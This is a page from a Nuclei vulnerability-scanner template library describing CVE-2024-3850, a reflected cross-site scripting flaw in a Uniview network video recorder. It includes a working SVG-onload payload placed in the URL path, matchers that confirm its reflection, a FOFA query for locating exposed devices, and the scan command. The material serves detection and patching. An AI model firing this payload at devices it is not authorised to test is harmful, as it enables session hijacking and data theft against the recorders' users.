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Uniview NVR301-04S2-P4 - Cross-Site Scripting

ID: CVE-2024-3850

Severity: medium

Author: Bleron Rrustemi,r3naissance

Tags: cve,cve2024,xss,uniview,nvr

Description

Section titled “Description”

Uniview NVR301-04S2-P4 contains a reflected cross-site scripting vulnerability via the PATH of LAPI. CISA and Uniview state that this vulnerability needs to be authenticated. This is incorrect. Any PATH payload can cause XSS. A submission to Mitre has been sent to update the verbiage in the finding as well as the CVSS score.

YAML Source

Section titled “YAML Source”
id: CVE-2024-3850


info:
  name: Uniview NVR301-04S2-P4 - Cross-Site Scripting
  author: Bleron Rrustemi,r3naissance
  severity: medium
  description: |
    Uniview NVR301-04S2-P4 contains a reflected cross-site scripting vulnerability via the PATH of LAPI. CISA and Uniview state that this vulnerability needs to be authenticated. This is incorrect. Any PATH payload can cause XSS. A submission to Mitre has been sent to update the verbiage in the finding as well as the CVSS score.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To fix this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
  reference:
    - https://global.uniview.com/About_Us/Security/Notice/202406/992932_140493_0.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-3850
    cwe-id: CWE-79
    cpe: cpe:2.3:h:uniview:nvr301-04s2-p4:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: Uniview
    product: NVR301-04S2-P4
    fofa-query: title="NVR301-04-P4"
  tags: cve,cve2024,xss,uniview,nvr


http:
  - method: GET
    path:
      - "{{BaseURL}}/V1.0%3CsVg/onload=alert.bind%28%29%281%29%3E/Alarm/Exceptions/LinkageActions?="


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/V1.0<sVg/onload=alert.bind()(1)>/Alarm/Exceptions/LinkageActions?="
        condition: and


      - type: word
        part: header
        words:
          - NVRDVR


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b66d0c1007a711f8aca3fcabd9aa815f8fb1d68533313c15c359b838cef417e9022100f6e38b509cbc472bdf5e31719bd32b40e277a8eb158eb58f693298fb8dc39fec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3850.yaml"

View on Github